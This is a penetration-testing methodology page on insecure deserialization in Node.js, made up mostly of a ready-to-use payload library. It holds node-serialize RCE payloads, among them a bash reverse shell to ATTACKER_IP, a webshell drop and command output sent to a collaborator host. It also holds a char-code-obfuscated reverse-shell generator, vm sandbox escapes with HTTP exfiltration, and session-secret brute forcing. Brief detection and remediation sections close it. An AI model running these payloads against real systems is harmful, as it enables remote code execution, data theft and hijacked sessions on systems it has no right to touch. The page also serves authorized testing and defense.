Insecure Deserialization — Node.js
Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures
What Is Node.js Deserialization?
Unlike Java/PHP, Node.js doesn’t have a single dominant serialization format. Vulnerabilities arise in:
node-serialize— uses IIFE pattern (_$$ND_FUNC$$_) to embed executable functionscryo— serializes functions, exploitable via custom class injectionserialize-javascript— meant for safe serialization but misused__proto__pollution via JSON.parse — not deserialization per se but JSON-triggered prototype pollutionvmmodule escape — sandbox breakout when deserializing into vm context- Cookie/session forgery —
express-sessionwith weak secret,cookie-parserwith known secret
// node-serialize vulnerable pattern:
var serialize = require('node-serialize');
var data = cookieParser.parse(req.headers.cookie)['profile'];
var obj = serialize.unserialize(data); // ← RCE if IIFE in data
Discovery Checklist
Phase 1 — Identify Serialization
- Check cookies for base64-encoded JSON with
_$$ND_FUNC$$_patterns - Check POST bodies/cookies for JSON blobs with function signatures
- Look for
node-serialize,cryo,serialize-javascriptinpackage.json - Find
serialize.unserialize(),cryo.parse()calls in source - Check
express-sessionsecret strength → session cookie forgery - Check JWT secret (see 28_JWT.md) — often same issue
- Check
cookie-parsersigned cookies —s:prefix means signed
Phase 2 — Test
- Inject
_$$ND_FUNC$$_function(){return 7*7;}()in serialized field → check if 49 appears - Test prototype pollution via JSON body (see 55/56_ProtoPollution)
- Test cookie modification: decode → modify → re-encode → test
- Test
__proto__key in any JSON-parsed user input
Payload Library
Payload 1 — node-serialize RCE via IIFE
// node-serialize IIFE (Immediately Invoked Function Expression) pattern:
// When a function is stored as: {"key": "_$$ND_FUNC$$_function(){...}()"}
// The trailing () means it executes immediately on unserialize()
// Basic RCE payload (JSON object):
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout){console.log(stdout)});}()"
}
// Base64-encoded for cookie injection:
python3 -c "
import base64, json
payload = {
'rce': '_\$\$ND_FUNC\$\$_function(){require(\"child_process\").exec(\"id\",function(error,stdout,stderr){require(\"http\").get(\"http://COLLABORATOR_ID.oast.pro/?o=\"+Buffer.from(stdout).toString(\"base64\"))});}()'
}
encoded = base64.b64encode(json.dumps(payload).encode()).decode()
print(encoded)
"
# Reverse shell via IIFE:
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');}()"
}
# File write (drop webshell):
{
"rce": "_$$ND_FUNC$$_function(){require('fs').writeFileSync('/var/www/html/shell.js','require(\"child_process\").exec(require(\"url\").parse(require(\"url\").parse(require(\"http\").IncomingMessage.prototype.url).query).cmd,function(e,s){process.stdout.write(s)})');}()"
}
# OOB DNS detection:
{
"rce": "_$$ND_FUNC$$_function(){require('dns').lookup('COLLABORATOR_ID.oast.pro',function(){});}()"
}
Payload 2 — Crafting Payloads with nodejsshell.py
# Tool: nodejsshell.py — generates node-serialize RCE payload
# https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py
import sys
ip = "ATTACKER_IP"
port = "4444"
# Generate Node.js reverse shell:
padding = "A" * 1
payload = """\
_$$ND_FUNC$$_function (){
eval(String.fromCharCode("""
reverse = f"""
var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []);
var client = new net.Socket();
client.connect({port}, '{ip}', function(){{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}});
"""
char_codes = ",".join(str(ord(c)) for c in reverse)
payload += char_codes + "))}()"
print(f'{{"rce":"{payload}"}}')
Payload 3 — cryo Library Exploitation
// cryo serializes class instances — if user-controlled data is cryo.parse()'d:
// cryo format includes constructor name and properties
// Craft malicious cryo payload:
// cryo serializes as: {"root":"_cryo_DATE_1635000000000"}
// Exploit via __proto__ pollution in cryo's parse function:
// Generate with cryo:
var cryo = require('cryo');
var Exploit = function() {
this.cmd = 'id';
};
Exploit.prototype.toString = function() {
return require('child_process').execSync(this.cmd).toString();
};
console.log(cryo.stringify(new Exploit()));
// Submit as user input → if deserialized + toString() called → RCE
// Craft without running cryo (manually):
// cryo stores: {"root":"_cryo_CustomClass_INSTANCE","customs":{"_cryo_CustomClass_INSTANCE":{"cmd":"id"}}}
Payload 4 — express-session Forgery
# express-session signs cookies with a secret
# Signed cookie format: s:SESSION_DATA.SIGNATURE
# URL-decoded: s:eyJ1c2VyIjoiZ3Vlc3QifQ==.HMACSHA256_SIGNATURE
# Extract session data:
COOKIE="s%3AeyJ1c2VyIjoiZ3Vlc3QifQ%3D%3D.SIGNATURE"
# URL decode, strip "s:" prefix, base64 decode session:
python3 -c "
import urllib.parse, base64
c = urllib.parse.unquote('$COOKIE')
c = c[2:] # strip s:
data = c.split('.')[0]
print(base64.b64decode(data + '=='))
"
# → {"user":"guest","role":"user"}
# Forge admin session (need secret):
# Brute force secret with express-session-cookie-tool or custom script:
python3 -c "
import hmac, hashlib, base64, urllib.parse
session_data = base64.b64encode(b'{\"user\":\"admin\",\"role\":\"admin\"}').decode()
# Try common secrets:
for secret in ['secret', 'keyboard cat', 'your-secret-key', 'SESSION_SECRET', 'express']:
sig = hmac.new(secret.encode(), session_data.encode(), hashlib.sha256)
print(f's:{session_data}.{base64.b64encode(sig.digest()).decode()}')
"
# cookie-signature brute force:
npm install -g cookie-cracker # if available
# Or use wordlist:
for secret in $(cat /usr/share/wordlists/rockyou.txt); do
python3 -c "
import hmac, hashlib, base64
secret = '$secret'
data = 'SESSION_DATA_BASE64'
sig = hmac.new(secret.encode(), data.encode(), hashlib.sha256).digest()
print(base64.b64encode(sig).decode())
" 2>/dev/null | grep "EXPECTED_SIGNATURE" && echo "SECRET: $secret" && break
done
Payload 5 — vm Module Sandbox Escape
// If app runs user code in vm.runInNewContext() — sandbox escape:
// Basic sandbox escape:
const vm = require('vm');
const sandbox = {};
const context = vm.createContext(sandbox);
// User supplies this code:
const code = `
this.constructor.constructor('return process')().env
`;
vm.runInContext(code, context);
// → Access to process object → RCE
// Full RCE via sandbox escape:
const escapeCode = `
(function(){
const f = this.constructor.constructor;
const process = f('return process')();
return process.mainModule.require('child_process').execSync('id').toString();
})()
`;
// More robust escape:
const escapeCode2 = `
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const child_process = require1("child_process");
child_process.exec("id", function(err, data) {
// exfil via DNS or HTTP
require1("http").get("http://COLLABORATOR_ID.oast.pro/?o=" + Buffer.from(data).toString("base64"));
});
`;
Payload 6 — serialize-javascript Bypass
// serialize-javascript is meant for safe serialization to JS strings
// But if eval()'d or used with Function() constructor:
// If app does: eval(serialize_js_output):
// Inject via serialized regex:
{
"x": {"_type":"regexStr","regex":"/;process.mainModule.require('child_process').exec('id')/"}
}
// Or via function serialization (if functions allowed):
{
"fn": "function(){return require('child_process').execSync('id').toString()}"
}
// If deserialized with eval → executes function → RCE
Tools
# node-serialize exploit generator:
# npm install node-serialize
node -e "
var serialize = require('node-serialize');
var payload = {
'rce': '_\$\$ND_FUNC\$\$_function(){require(\"child_process\").exec(\"id\",function(e,s){console.log(s)})}()'
};
console.log(Buffer.from(JSON.stringify(payload)).toString('base64'));
"
# Detect node-serialize in npm packages:
grep -r "node-serialize\|cryo\|serialize-javascript" package.json package-lock.json 2>/dev/null
# Check for IIFE pattern in cookies:
# Look for: _$$ND_FUNC$$_ in base64 decoded cookies
python3 -c "
import base64
cookie = 'YOUR_COOKIE_BASE64'
decoded = base64.b64decode(cookie + '==').decode()
print(decoded)
print()
if '_\$\$ND_FUNC\$\$_' in decoded:
print('[VULN] node-serialize IIFE pattern detected!')
"
# Burp Suite:
# Decode cookie (base64) → check for _$$ND_FUNC$$_
# Modify and re-encode → test RCE with harmless payload first
# express-session secret brute force:
git clone https://github.com/nicowillis/express-session-cracker 2>/dev/null || true
# Or manual with python3 hmac
# fickling equivalent for node:
node -e "
var code = process.argv[1];
try { eval(code); } catch(e) { console.error(e); }
" -- "require('child_process').execSync('id').toString()"
# Source code audit:
grep -rn "unserialize\|cryo\.parse\|eval(" --include="*.js" src/ | \
grep -v "node_modules\|\.test\."
grep -rn "node-serialize\|cryo\|serialize-javascript" \
node_modules/.bin/ 2>/dev/null
Remediation Reference
- Never use
node-serializeon untrusted data — no safe mode exists; replace withJSON.stringify/parse - Audit
package.json: removenode-serialize,cryoif present; prefer plain JSON express-sessionsecrets: use cryptographically random 256-bit secrets; rotate them; store in environment variables not source codevmmodule: it is NOT a security sandbox — useisolated-vmnpm package for actual sandboxing- Prototype pollution (JSON.parse): freeze Object.prototype, use schema validation before parsing user JSON
- JSON.parse safety: validate schema before acting on parsed objects; reject
__proto__,constructor,prototypekeys
Part of the Web Application Penetration Testing Methodology series.